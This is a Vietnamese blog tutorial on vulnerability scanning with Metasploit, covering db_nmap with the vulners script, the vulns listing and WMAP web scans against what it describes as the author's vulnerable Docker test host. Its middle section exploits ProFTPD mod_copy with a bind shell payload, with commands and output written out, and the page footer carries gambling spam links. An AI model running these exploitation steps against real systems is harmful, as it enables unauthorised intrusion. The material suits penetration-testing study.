• Kiến thức
  • Network
  • Security
  • Software
  • Thủ thuật
  • Tin học văn phòng
  • Tin tức
  • Mail ảo tạm thời miễn phí
  • Tools tra cứu thông tin
  • Công cụ đổi số thành chữ
  • AI Text Watermark Remover
AnonyViet
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
AnonyViet
No Result
View All Result

Cách Quét lỗ hổng bảo mật bằng Metasploit

Ellyx13 by Ellyx13
03/08/2022 - Updated on 24/07/2025
in Basic Hacking
A A
0

Các bài viết liên quan

php2shell

Cảnh báo: Lỗ hổng RCE PHP nghiêm trọng và cách khắc phục

21/10/2026
Hướng dẫn phát hiện lỗ hổng mạng: Cách kiểm tra hệ thống có bị rò rỉ dữ liệu (IP/DNS) 3

Hướng dẫn phát hiện lỗ hổng mạng: Cách kiểm tra hệ thống có bị rò rỉ dữ liệu (IP/DNS)

09/10/2026
chứng chỉ Certified LLM Security Expert miễn phí

Hướng dẫn nhận chứng chỉ Certified LLM Security Expert miễn phí

30/07/2026
Dùng W7SFW Để Chống Virus Và Bảo Mật Website WordPress 4

Dùng W7SFW Để Chống Virus Và Bảo Mật Website WordPress

11/03/2026

Mục lục bài viết

  1. Nmap + Metasploit
  2. Quét lỗ hổng ứng dụng web
  3. Sử dụng cấu hình WMAP tùy chỉnh
  4. Câu hỏi thường gặp
    1. Tôi có thể sử dụng Metasploit để quét lỗ hổng trên thiết bị di động không?
    2. Làm thế nào để tôi sử dụng Nmap với Metasploit để quét lỗ hổng?
    3. Metasploit có công cụ tích hợp để quét lỗ hổng ứng dụng web không?

Trong quá trình thử nghiệm Kali Nethunter trên OnePlus, mình đã tìm kiếm các công cụ và quy trình làm việc có thể chạy trên một thứ gì đó nhẹ như điện thoại Android. Mình cũng muốn xem mình có thể đi được bao xa mà không cần phải dùng VPS hay Server bên ngoài.

📢 Tham gia kênh Telegram của AnonyViet
👉 Vào Telegram AnonyViet
Cập nhật bài mới, tools hay và thủ thuật IT nhanh nhất

Cách quét lỗ hổng bảo mật bằng Metasploit

Quét lỗ hổng bảo mật bằng OpenVAS, Nessus hoặc bất kỳ thứ gì khác chạy tốt trên phần cứng nhẹ. Theo kinh nghiệm của mình, một máy quét lỗ hổng chuyên dụng sẽ khá tốn nhiều tài nguyên.

Vì vậy, khi sử dụng Metasploit làm công cụ chính để khai thác phần mềm dễ bị tấn công, mình muốn chia sẻ một số mẹo mà mình đã tìm thấy để thực hiện quét lỗ hổng bảo mật bằng Metasploit.

Nmap + Metasploit

Gần đây mình đã phát hiện ra rằng bạn có thể sử dụng nmap trực tiếp từ Metasploit bằng cách sử dụng mô-đun db_nmap. Sử dụng mô-đun này khá tốt vì bạn có thể nhận được kết quả được nhập trực tiếp vào Metasploit.

Dưới đây là một ví dụ về lệnh db_nmap trong Metasploit:

msf6 > db_nmap -sV 192.168.1.5

Đây là kết quả đầu ra (máy chủ này đang chạy container Docker dễ bị tấn công):

msf6 > db_nmap -sV 192.168.1.5
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 03:47 UTC
[*] Nmap: Nmap scan report for 192.168.1.5 (192.168.1.5)
[*] Nmap: Host is up (0.12s latency).
[*] Nmap: rDNS record for 192.168.1.5: 192.168.1.5.vultr.com
[*] Nmap: Not shown: 991 closed ports
[*] Nmap: PORT     STATE    SERVICE     VERSION
[*] Nmap: 21/tcp   open     ftp         ProFTPD 1.3.5
[*] Nmap: 22/tcp   open     ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
[*] Nmap: 25/tcp   filtered smtp
[*] Nmap: 80/tcp   open     http        Apache httpd 2.4.7 ((Ubuntu))
[*] Nmap: 139/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 631/tcp  open     ipp         CUPS 1.7
[*] Nmap: 6667/tcp open     irc         UnrealIRCd
[*] Nmap: Service Info: Hosts: VULN, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 18.18 seconds

Bây giờ, Metasploit đã biết về các dịch vụ trên máy chủ đó. Kiểm tra bằng lệnh services :

msf6 > services
Services
========
host          port  proto  name         state     info
----          ----  -----  ----         -----     ----
192.168.1.5  21    tcp    ftp          open      ProFTPD 1.3.5
192.168.1.5  22    tcp    ssh          open      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 Ubuntu Linux; proto
                                                  col 2.0
192.168.1.5  25    tcp    smtp         filtered
192.168.1.5  80    tcp    http         open      Apache httpd 2.4.7 (Ubuntu)
192.168.1.5  139   tcp    netbios-ssn  open      Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.1.5  445   tcp    netbios-ssn  open      Samba smbd 3.X - 4.X workgroup: WORKGROUP
192.168.1.5  631   tcp    ipp          open      CUPS 1.7
192.168.1.5  6667  tcp    irc          open      UnrealIRCd

Với db_nmap, nó sẽ tự động nhập các lỗ hổng nếu bạn sử dụng bất kỳ tập lệnh quét lỗ hổng nào của nmap.

Đây là một lệnh ví dụ:

msf6 > db_nmap -sV --script=vulners.nse 192.168.1.5

Sau khi hoàn thành lệnh đó, mình có thể sử dụng lệnh vulns để kiểm tra các khai thác được lưu trữ trong Metasploit đã được phát hiện bằng cách sử dụng nmap:

msf6 > vulns
Vulnerabilities
===============
Timestamp                Host          Name                             References
---------                ----          ----                             ----------
2021-08-08 03:55:55 UTC  192.168.1.5  cpe:/a:proftpd:proftpd:1.3.5     CVE-2015-3306,SAINT:950EB68D408A40399926A4CCAD3CC62E,SAINT:63FB77B9136D48259E4F0D4CDA35E957,SAINT:1B08F4664C428B180EEC9617B41D9A2C,PROFTPD_MOD_COPY,PACKETSTORM:162777,PACKETSTORM:132218,PACKETSTORM:131567,PACKETSTORM:131555,PACKETSTORM:131505,MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC,EDB-ID:49908,EDB-ID:37262,EDB-ID:36803,EDB-ID:36742,1337DAY-ID-23720,1337DAY-ID-23544,SSV:61050,MSF:ILITIES/SUSE-CVE-2019-18217/,CVE-2019-19272,CVE-2019-19271,CVE-2019-19270,CVE-2019-18217,CVE-2016-3125,CVE-2013-4359,CVE-2017-7418
<snipped>

Bạn có thể thấy có một lỗ hổng mà Metasploit đã khai thác trong đầu ra ở trên của các tệp tin:

MSF:EXPLOIT/UNIX/FTP/PROFTPD_MODCOPY_EXEC

Vì vậy, hãy khai thác nó:

msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.1.5
RHOSTS => 192.168.1.5
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/bind_awk 
payload => cmd/unix/bind_awk
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run 
[*] 192.168.1.5:80 - 192.168.1.5:21 - Connected to FTP server
[*] 192.168.1.5:80 - 192.168.1.5:21 - Sending copy commands to FTP server
[*] 192.168.1.5:80 - Executing PHP payload /VlrUb.php
[*] Started bind TCP handler against 192.168.1.5:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.5:4444) at 2021-08-08 04:21:30 +0000

Shell được tạo bằng cách sử dụng kết quả quét lỗ hổng bảo mật được thực hiện trên điện thoại Android.

Mình khuyên bạn nên sử dụng thêm các tập lệnh quét lỗ hổng nmap với mô-đun db_nmap của Metasploit.

Quét lỗ hổng ứng dụng web

Metasploit có một mô-đun quét lỗ hổng ứng dụng web được tích hợp sẵn: WMAP:

WMAP Web Scanner

Tài liệu về WMAP trong repo Github cũ của người khác giải thích điều khiến WMAP trở nên đặc biệt:

https://github.com/lattera/metasploit/blob/master/documentation/wmap.txt

Có vẻ như nó không được cập nhật trong 10 năm. Theo giải thích trong liên kết ở trên, WMAP sẽ sử dụng thông tin được lưu trữ trong cơ sở dữ liệu để tấn công mục tiêu của bạn một cách thông minh. Ngoài ra, bạn có thể tạo hồ sơ WMAP để sử dụng các mô-đun mới hơn hoặc thậm chí tùy chỉnh trong Metasploit – điều này làm cho WMAP có thể mở rộng và vẫn phù hợp ở hiện tại.

Đầu tiên, tải wmap và định cấu hình mục tiêu của bạn:

msf6 > load wmap
.-.-.-..-.-.-..---..---.
| | | || | | || | || |-'
`-----'`-'-'-'`-^-'`-'
[WMAP 1.5.1] ===  et [  ] metasploit.com 2012
[*] Successfully loaded plugin: wmap
msf6 > wmap_sites -a http://192.168.1.5
[*] Site created.
msf6 > wmap_targets -t http://192.168.1.5/drupal
msf6 > wmap_targets -l
[*] Defined targets
===============
     Id  Vhost         Host          Port  SSL    Path
     --  -----         ----          ----  ---    ----
     0   192.168.1.5  192.168.1.5  80    false  /drupal

Tiếp theo, chạy thử nghiệm đối với mục tiêu của bạn:

msf6 > wmap_run -t
[*] Testing target:
[*] 	Site: 192.168.1.5 (192.168.1.5)
[*] 	Port: 80 SSL: false
============================================================
[*] Testing started. 2021-08-08 04:43:27 +0000
[*] Loading wmap modules...
<snipped>

Cuối cùng, chạy lệnh quét:

msf6 > wmap_run -e 
[*] Using ALL wmap enabled modules.
[-] NO WMAP NODES DEFINED. Executing local modules
[*] Testing target:
[*] 	Site: 192.168.1.5 (192.168.1.5)
[*] 	Port: 80 SSL: false
============================================================
[*] Testing started. 2021-08-08 04:50:06 +0000
[*] 
=[ SSL testing ]=
============================================================
[*] Target is not SSL. SSL modules disabled.
[*] 
=[ Web Server testing ]=
============================================================
[*] Module auxiliary/scanner/http/http_version
[+] 192.168.1.5:80 Apache/2.4.7 (Ubuntu)
[*] Module auxiliary/scanner/http/open_proxy
[*] Module auxiliary/admin/http/tomcat_administration
<snipped>

Sử dụng cấu hình WMAP tùy chỉnh

Trong repo Metasploit Github có một số tài liệu hướng dẫn cách bạn có thể mở rộng WMAP để sử dụng các mô-đun khác bằng cách sử dụng cấu hình WMAP:

wmap_sample_profile.txt

Đây là file:

# 
# WMAP 1.0 Sample Profile
# wmap_run -e /path/to/profile
#
# Just add the name of the module. Use # for comments
#
frontpage
frontpage_login
options 
version 
backup_file 
#blind_sql_query 
#brute_dirs 
copy_of_file 
dir_listing 
dir_scanner
file_same_name_dir
writable

Bạn có thể thấy từ các nhận xét trong tệp rằng bạn có thể mở rộng WMAP để sử dụng các mô-đun khác. Điều này làm cho WMAP thực sự hữu ích vì bạn có thể kiểm tra các mô-đun Metasploit mới hơn hoặc tùy chỉnh trên Web Server.

Vì vậy, như một ví dụ đơn giản, bạn có thể sử dụng cấu hình ví dụ đó, đặt nó vào /tmp/wmap-profile và sau đó chạy cấu hình WMAP bằng lệnh sau trong Metasploit:

msf6 > wmap_run -e /tmp/wmap-profile

Như mình đã nói trước đó, việc này làm cho WMAP có thể mở rộng và có thể sẽ giữ nó mãi mãi hữu ích khi Rapid 7 tiếp tục tạo và cập nhật các mô-đun của Metasploit.

Câu hỏi thường gặp

Tôi có thể sử dụng Metasploit để quét lỗ hổng trên thiết bị di động không?

Có, bạn có thể sử dụng Metasploit trên các thiết bị di động như điện thoại Android, tuy nhiên, hiệu suất có thể bị hạn chế bởi tài nguyên phần cứng. Sử dụng các công cụ nhẹ và tối ưu hóa quá trình quét là rất quan trọng.

Làm thế nào để tôi sử dụng Nmap với Metasploit để quét lỗ hổng?

Bạn có thể sử dụng mô-đun db_nmap trong Metasploit. Lệnh msf6 > db_nmap -sV <địa_chỉ_IP> sẽ quét cổng và dịch vụ, nhập kết quả vào Metasploit để phân tích và khai thác.

Metasploit có công cụ tích hợp để quét lỗ hổng ứng dụng web không?

Có, Metasploit tích hợp WMAP (Web Application Mapper), một mô-đun quét lỗ hổng ứng dụng web. Tuy nhiên, WMAP cần được tải thêm (msf6 > load wmap) và có thể cần cấu hình thêm để sử dụng hiệu quả.

Tags: bảo mậtlỗ hổng bảo mậtMetasploitpentestquét lỗ hổng bảo mật
Ellyx13

Ellyx13

DevOps với hơn 7 năm kinh nghiệm trong lĩnh vực hạ tầng, tự động hóa CI/CD và triển khai hệ thống phân tán trên các nền tảng như AWS, Azure và Kubernetes. - AWS Certified DevOps Engineer – Professional - Certified Kubernetes Administrator (CKA) - HashiCorp Certified: Terraform Associate - Docker Certified Associate (DCA) Có người không dám bước vì sợ gãy chân, nhưng sợ gãy chân mà không dám bước đi thì khác nào chân đã gãy.

Related Posts

php2shell
Tin tức

Cảnh báo: Lỗ hổng RCE PHP nghiêm trọng và cách khắc phục

21/10/2026
Hướng dẫn phát hiện lỗ hổng mạng: Cách kiểm tra hệ thống có bị rò rỉ dữ liệu (IP/DNS) 5
Mạng cơ bản

Hướng dẫn phát hiện lỗ hổng mạng: Cách kiểm tra hệ thống có bị rò rỉ dữ liệu (IP/DNS)

09/10/2026
chứng chỉ Certified LLM Security Expert miễn phí
Kiến thức

Hướng dẫn nhận chứng chỉ Certified LLM Security Expert miễn phí

30/07/2026
Dùng W7SFW Để Chống Virus Và Bảo Mật Website WordPress 6
Mạng cơ bản

Dùng W7SFW Để Chống Virus Và Bảo Mật Website WordPress

11/03/2026
Cách đặt bảo mật 2 lớp cho ChatGPT 7
Kiến thức

Cách đặt bảo mật 2 lớp cho ChatGPT

06/10/2025
Cách tăng độ dài mã PIN trên Windows để nâng cao bảo mật 8
Windows 7/8/10/11

Cách tăng độ dài mã PIN trên Windows để nâng cao bảo mật

15/02/2025 - Updated on 25/07/2025
guest

guest

This site uses Akismet to reduce spam. Learn how your comment data is processed.

0 Comments
oldest
newest

Liên hệ Quảng Cáo

Lien he AnonyViet

Bài viết mới

Cần phải làm gì khi bị lấy cắp thông tin mở công ty?

by Thanh Kim
04/11/2026
0

cách nhận 250$ credit Docker

Cách nhận 250$ credit Docker chạy AI Agent miễn phí

by Thanh Kim
03/11/2026
0

Trải nghiệm Galaxy Tab S12 Ultra: Mức giá 40 triệu là khoản đầu tư xứng đáng thay thế laptop 1

Trải nghiệm Galaxy Tab S12 Ultra: Mức giá 40 triệu là khoản đầu tư xứng đáng thay thế laptop

by AnonyViet
02/11/2026
0

Nhận Code ChatGPT Business

Cách Đăng ký Nhận Code ChatGPT Business

by AnonyViet
02/11/2026
0

Bình luận gần đây

  • teo trong MiniTool Partition Wizard 12.6 Full Key – Phần mềm Quản lý Phân vùng tốt nhất
  • le trong MiniTool Partition Wizard 12.6 Full Key – Phần mềm Quản lý Phân vùng tốt nhất
  • Garbanta trong Hướng dẫn cách nhận 1 tỷ token Muse AI
  • Phúc an trong Cách tạo Pet ảo, nhân vật ảo chạy lung tung trên Desktop để thư giản
  • Hieu IT trong Hướng dẫn đăng ký tên miền .tech miễn phí 1 năm
  • Viet Dao Quoc trong Hướng dẫn nhận 3 tháng Shopee VIP từ Vinaphone giá 0 đồng
  • AnonyViet trong Hướng dẫn cách nhận 1 tỷ token Muse AI
  • Minh Cần trong Hướng dẫn cách nhận 1 tỷ token Muse AI
  • TextToSong trong Cách dùng Suno AI tạo bài hát hoàn chỉnh từ A đến Z chỉ trong 5 phút
  • Phương Phan trong Hướng dẫn dùng Uneed.vn để đánh giá kiến thức Online cho học sinh
  • Phạm Nhật trong Hướng dẫn dùng Uneed.vn để đánh giá kiến thức Online cho học sinh
  • tuan trong Share key Driver Booster 13 Pro miễn phí 2026
  • loc trong Hack Game & App trên Iphone với TutuApp
  • lâm trong Share key Advanced SystemCare 19 Pro 6 tháng mới nhất
  • lâm trong Share key Driver Booster 13 Pro miễn phí 2026
  • Mui trong Làm thế nào để mua Microsoft Office 2024 mới nhất với chi phí tiết kiệm?
  • Ngọc hân trong Tạo Locket Gold miễn phí siêu đơn giản
  • nmh trong Hướng dẫn cách nhận ShopeeVIP 12 tháng miễn phí
  • Vasker trong HeroSMS là gì? Cách thuê số điện thoại ảo nhận SMS OTP online không cần SIM
  • Cường trong Share key Driver Booster 13 Pro miễn phí 2026

Giới thiệu

AnonyViet

AnonyViet

Nơi chia sẻ những kiến thức mà bạn chưa từng được học trên ghế nhà trường!

Chúng tôi sẵn sàng đón những ý kiến đóng góp, cũng như bài viết của các bạn gửi đến AnonyViet.

Hãy cùng AnonyViet xây dựng một cộng đồng CNTT lớn mạnh nhất!

Liên hệ

Email: support[@]anonyviet.com

1409 Hill Street #01-01A
Old Hill Street Police Station
Singapore 179369

 

DMCA.com Protection Status

Giới thiệu

AnonyViet là Website chia sẻ miễn phí tất cả các kiến thức về công nghệ thông tin. AnonyViet cung cấp mọi giải pháp về mạng máy tính, phần mềm, đồ họa và MMO.

kết quả xổ số hôm nay đọc truyện dandadan online Xoilac TV bóng đá trực tiếp bóng đá trực tiếp cakhia tv trực tiếp bóng đá tối nay tải ebook free V9bet tỷ lệ nhà cái XOSO66 game bài Go88 sunwin sunwin rikvip sunwin go88 v9bet https://tylekeonhacai.me/ https://keonhacai.org.vc/ 7mcn https://keonhacai88.tv/ https://keonhacai.loans/ https://keonhacai.kiwi/ 789club xx88 Sun52 Rikvip soxo66 nổ hũ uy tín https://pgp88.org/ luck8 luck8 58WIN Thabet 789club go88 vip66 xoso66 8day https://keonhacaitop.com/ kèo nhà cái 12bet Hitclub nhà cái MB66 Kèo nhà cái King88 h19 79king s8 78win https://98winlink.com/ kèo nhà cái 5 gavangtv 888slot okvip Rikvip Good88 GK88 6623 cakhiatv Fun88 Việt game nổ hũ JBO 789win tải sunwin thapcamtv Nohu90 EE88 trang chủ MB66 gowin xoilactv

©2026 AnonyViet - Chúng tôi mang đến cho bạn những kiến thức bổ ích về CNTT

No Result
View All Result
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC

©2026 AnonyViet - Chúng tôi mang đến cho bạn những kiến thức bổ ích về CNTT

wpDiscuz